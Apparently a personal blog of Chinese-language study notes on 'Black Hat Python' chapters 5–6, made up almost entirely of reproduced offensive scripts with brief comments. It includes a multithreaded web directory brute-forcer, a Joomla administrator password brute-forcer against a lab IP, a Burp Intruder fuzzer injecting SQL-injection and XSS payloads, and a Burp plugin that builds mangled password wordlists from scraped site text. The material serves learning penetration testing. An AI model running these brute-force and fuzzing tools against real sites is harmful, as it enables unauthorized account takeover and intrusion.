動機
這邊主要是處理http與web的html 還有網站結構
CH5
content_bruter.py
import queue
import threading
import urllib.error
import urllib.parse
import urllib.request
threads = 50
target_url = "http://testphp.vulnweb.com"
wordlist_file = "all.txt" # from SVNDigger
resume = None
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) " \
"Gecko/20100101 " \
"Firefox/19.0"
def build_wordlist(wordlst_file):
# read in the word list
fd = open(wordlst_file, "r")
raw_words = [line.rstrip('\n') for line in fd]
fd.close()
found_resume = False
words = queue.Queue()
for word in raw_words:
if resume:
if found_resume:
words.put(word)
else:
if word == resume:
found_resume = True
print("Resuming wordlist from: %s" % resume)
else:
words.put(word)
return words
def dir_bruter(extensions=None):
while not word_queue.empty():
attempt = word_queue.get()
attempt_list = []
# check if there is a file extension if not
# it's a directory path we're bruting
if "." not in attempt:
attempt_list.append("/%s/" % attempt)
else:
attempt_list.append("/%s" % attempt)
# if we want to bruteforce extensions
if extensions:
for extension in extensions:
attempt_list.append("/%s%s" % (attempt, extension))
# iterate over our list of attempts
for brute in attempt_list:
url = "%s%s" % (target_url, urllib.parse.quote(brute))
try:
headers = {"User-Agent": user_agent}
r = urllib.request.Request(url, headers=headers)
response = urllib.request.urlopen(r)
if len(response.read()):
print("[%d] => %s" % (response.code, url))
except urllib.error.HTTPError as e:
if e.code != 404:
print("!!! %d => %s" % (e.code, url))
pass
word_queue = build_wordlist(wordlist_file)
file_extensions = [".php", ".bak", ".orig", ".inc"]
for i in range(threads):
t = threading.Thread(target=dir_bruter, args=(file_extensions,))
t.start()
程式本身不難懂,不過那個resume
就有點怪怪的
resume是如果有中斷的話,可以從這邊開始
web_app_mapper.py
import os
import queue
import threading
import urllib.error
import urllib.parse
import urllib.request
threads = 10
target = "http://www.test.com"
directory = "/Users/justin/Downloads/joomla-3.1.1"
filters = [".jpg", ".gif", "png", ".css"]
os.chdir(directory)
web_paths = queue.Queue()
for r, d, f in os.walk("."):
for files in f:
remote_path = "%s/%s" % (r, files)
if remote_path.startswith("."):
remote_path = remote_path[1:]
if os.path.splitext(files)[1] not in filters:
web_paths.put(remote_path)
def test_remote():
while not web_paths.empty():
path = web_paths.get()
url = "%s%s" % (target, path)
request = urllib.request.Request(url)
try:
response = urllib.request.urlopen(request)
print("[%d] => %s" % (response.code, path))
response.close()
except urllib.error.HTTPError as error:
print("Failed %s" % error.code)
pass
for i in range(threads):
print("Spawning thread: %d" % i)
t = threading.Thread(target=test_remote)
t.start()
與上面的程式一樣是暴力法,但是list的來源一個是字典檔,這個是下載回來的檔案(ex:joomla)
小總結: 生出有單字的queue -> 讓thread發request去戳 -> 看有沒有成功
joomla_killer.py
import http.cookiejar
import queue
import threading
import urllib.error
import urllib.parse
import urllib.request
from abc import ABC
from html.parser import HTMLParser
# general settings
user_thread = 10
username = "admin"
wordlist_file = "cain.txt"
resume = None
# target specific settings
target_url = "http://192.168.112.131/administrator/index.php"
target_post = "http://192.168.112.131/administrator/index.php"
username_field = "username"
password_field = "passwd"
success_check = "Administration - Control Panel"
class BruteParser(HTMLParser, ABC):
def __init__(self):
HTMLParser.__init__(self)
self.tag_results = {}
def handle_starttag(self, tag, attrs):
if tag == "input":
tag_name = None
for name, value in attrs:
if name == "name":
tag_name = value
if tag_name:
self.tag_results[tag_name] = value
class Bruter(object):
def __init__(self, user, words_q):
self.username = user
self.password_q = words_q
self.found = False
print("Finished setting up for: %s" % user)
def run_bruteforce(self):
for i in range(user_thread):
t = threading.Thread(target=self.web_bruter)
t.start()
def web_bruter(self):
while not self.password_q.empty() and not self.found:
brute = self.password_q.get().rstrip()
jar = http.cookiejar.FileCookieJar("cookies")
opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(jar))
response = opener.open(target_url)
page = response.read()
print("Trying: %s : %s (%d left)" % (
self.username, brute, self.password_q.qsize()))
# parse out the hidden fields
parser = BruteParser()
parser.feed(page)
post_tags = parser.tag_results
# add our username and password fields
post_tags[username_field] = self.username
post_tags[password_field] = brute
login_data = urllib.parse.urlencode(post_tags)
login_response = opener.open(target_post, login_data) #這樣就可以丟post!!
login_result = login_response.read()
if success_check in login_result:
self.found = True
print("[*] Bruteforce successful.")
print("[*] Username: %s" % username)
print("[*] Password: %s" % brute)
print("[*] Waiting for other threads to exit...")
def build_wordlist(wordlst_file):
# read in the word list
fd = open(wordlst_file, "r")
raw_words = [line.rstrip('\n') for line in fd]
fd.close()
found_resume = False
word_queue = queue.Queue()
for word in raw_words:
word = word.rstrip()
if resume is not None:
if found_resume:
word_queue.put(word)
else:
if word == resume:
found_resume = True
print("Resuming wordlist from: %s" % resume)
else:
word_queue.put(word)
return word_queue
words = build_wordlist(wordlist_file)
bruter_obj = Bruter(username, words)
bruter_obj.run_bruteforce()
這裡是要送post的form,要替所有input都填上值,再用post打出去 不過那個opener用起來感覺不太直覺啊
CH6
準備好jython的jar,之後就可以在burp加入自己的功能了
但說老實的,我沒用過burp阿 之後應該用用burp,並記錄下來。
bhp_bing.py
import base64
import json
import re
import socket
import urllib.error
import urllib.parse
import urllib.request
from burp import IBurpExtender
from burp import IContextMenuFactory
from java.net import URL
from java.util import ArrayList
from javax.swing import JMenuItem
bing_api_key = "YOURKEYHERE"
class BurpExtender(IBurpExtender, IContextMenuFactory):
# implements
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
self.context = None
# we set up our extension
callbacks.setExtensionName("BHP Bing")
callbacks.registerContextMenuFactory(self)
return
# implements
def createMenuItems(self, context_menu):
self.context = context_menu
menu_list = ArrayList()
menu_list.add(JMenuItem("Send to Bing", actionPerformed=self.bing_menu))
return menu_list
def bing_menu(self, event):
# grab the details of what the user clicked
http_traffic = self.context.getSelectedMessages()
print("%d requests highlighted" % len(http_traffic))
for traffic in http_traffic:
http_service = traffic.getHttpService()
host = http_service.getHost()
print("User selected host: %s" % host)
self.bing_search(host)
return
def bing_search(self, host):
# check if we have an IP or hostname
is_ip = re.match(r'[0-9]+(?:\.[0-9]+){3}', host)
if is_ip:
ip_address = host
domain = False
else:
ip_address = socket.gethostbyname(host)
domain = True
bing_query_string = "'ip:%s'" % ip_address
self.bing_query(bing_query_string)
if domain:
bing_query_string = "'domain:%s'" % host
self.bing_query(bing_query_string)
def bing_query(self, bing_query_string):
print("Performing Bing search: %s" % bing_query_string)
# encode our query
quoted_query = urllib.parse.quote(bing_query_string)
http_request = "GET https://api.datamarket.azure.com/Bing/Search/Web?$format=json&$top=20&Query=%s HTTP/1.1\r\n" % quoted_query
http_request += "Host: api.datamarket.azure.com\r\n"
http_request += "Connection: close\r\n"
http_request += "Authorization: Basic %s\r\n" % base64.b64encode(
":%s" % bing_api_key)
http_request += "User-Agent: Blackhat Python\r\n\r\n"
json_body = self._callbacks.makeHttpRequest("api.datamarket.azure.com",
443, True,
http_request).tostring()
json_body = json_body.split("\r\n\r\n", 1)[1]
try:
r = json.loads(json_body)
if len(r["d"]["results"]):
for site in r["d"]["results"]:
print("*" * 100)
print(site['Title'])
print(site['Url'])
print(site['Description'])
print("*" * 100)
j_url = URL(site['Url'])
if not self._callbacks.isInScope(j_url):
print("Adding to Burp scope")
self._callbacks.includeInScope(j_url)
except:
print("No results from Bing")
pass
return
從第一個網址開始,透過bing去找出其他相關的加入burp,來擴大搜尋範圍
bhp_fuzzer.py
from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator
from java.util import List, ArrayList
import random
class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
# implements
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.registerIntruderPayloadGeneratorFactory(self)
return
# implements
@staticmethod
def getGeneratorName():
return "BHP Payload Generator"
# implements
def createNewInstance(self, attack):
return BHPFuzzer(self, attack)
class BHPFuzzer(IIntruderPayloadGenerator):
def __init__(self, extender, attack):
self._extender = extender
self._helpers = extender._helpers
self._attack = attack
print("BHP Fuzzer initialized")
self.max_payloads = 1000
self.num_payloads = 0
return
def hasMorePayloads(self):
print("hasMorePayloads called.")
if self.num_payloads == self.max_payloads:
print("No more payloads.")
return False
else:
print("More payloads. Continuing.")
return True
def getNextPayload(self, current_payload):
# convert into a string
payload = "".join(chr(x) for x in current_payload)
# call our simple mutator to fuzz the POST
payload = self.mutate_payload(payload)
# increase the number of fuzzing attempts
self.num_payloads += 1
return payload
def reset(self):
self.num_payloads = 0
return
@staticmethod
def mutate_payload(original_payload):
# pick a simple mutator or even call an external script
# like Radamsa does
picker = random.randint(1, 3)
# select a random offset in the payload to mutate
offset = random.randint(0, len(original_payload) - 1)
payload = original_payload[:offset]
# random offset insert a SQL injection attempt
if picker == 1:
payload += "'"
# jam an XSS attempt in
if picker == 2:
payload += "<script>alert('BHP!');</script>"
# repeat a chunk of the original payload a random number
if picker == 3:
chunk_length = random.randint(len(payload[offset:]),
len(payload) - 1)
repeater = random.randint(1, 10)
for i in range(repeater):
payload += original_payload[offset:offset + chunk_length]
# add the remaining bits of the payload
payload += original_payload[offset:]
return payload
就是iterator,會隨機修改request
bhp_wordlist.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from burp import IBurpExtender
from burp import IContextMenuFactory
from javax.swing import JMenuItem
from java.util import List, ArrayList
from java.net import URL
import re
from datetime import datetime
from html.parser import HTMLParser
class TagStripper(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.page_text = []
def handle_data(self, data):
self.page_text.append(data)
def handle_comment(self, data):
self.handle_data(data)
def strip(self, html):
self.feed(html)
return " ".join(self.page_text)
class BurpExtender(IBurpExtender, IContextMenuFactory):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
self.context = None
self.hosts = set()
# start with something we know is common
self.wordlist = {"password"}
# we set up our extension
callbacks.setExtensionName("BHP Wordlist")
callbacks.registerContextMenuFactory(self)
return
def createMenuItems(self, context_menu):
self.context = context_menu
menu_list = ArrayList()
menu_list.add(JMenuItem("Create Wordlist",
actionPerformed=self.wordlist_menu))
return menu_list
def wordlist_menu(self, event):
# grab the details of what the user clicked
http_traffic = self.context.getSelectedMessages()
for traffic in http_traffic:
http_service = traffic.getHttpService()
host = http_service.getHost()
self.hosts.add(host)
http_response = traffic.getResponse()
if http_response:
self.get_words(http_response)
self.display_wordlist()
return
def get_words(self, http_response):
headers, body = http_response.tostring().split('\r\n\r\n', 1)
# skip non-text responses
if headers.lower().find("content-type: text") == -1:
return
tag_stripper = TagStripper()
page_text = tag_stripper.strip(body)
words = re.findall(r'[a-zA-Z]\w{2,}', page_text)
for word in words:
# filter out long strings
if len(word) <= 12:
self.wordlist.add(word.lower())
return
@staticmethod
def mangle(word):
year = datetime.now().year
suffixes = ["", "1", "!", year]
mangled = []
for password in (word, word.capitalize()):
for suffix in suffixes:
mangled.append("%s%s" % (password, suffix))
return mangled
def display_wordlist(self):
print("# BHP Wordlist for site(s) %s" % ", ".join(self.hosts))
for word in sorted(self.wordlist):
for password in self.mangle(word):
print(password)
return
就是從request的text中撈出word,塞到wordlist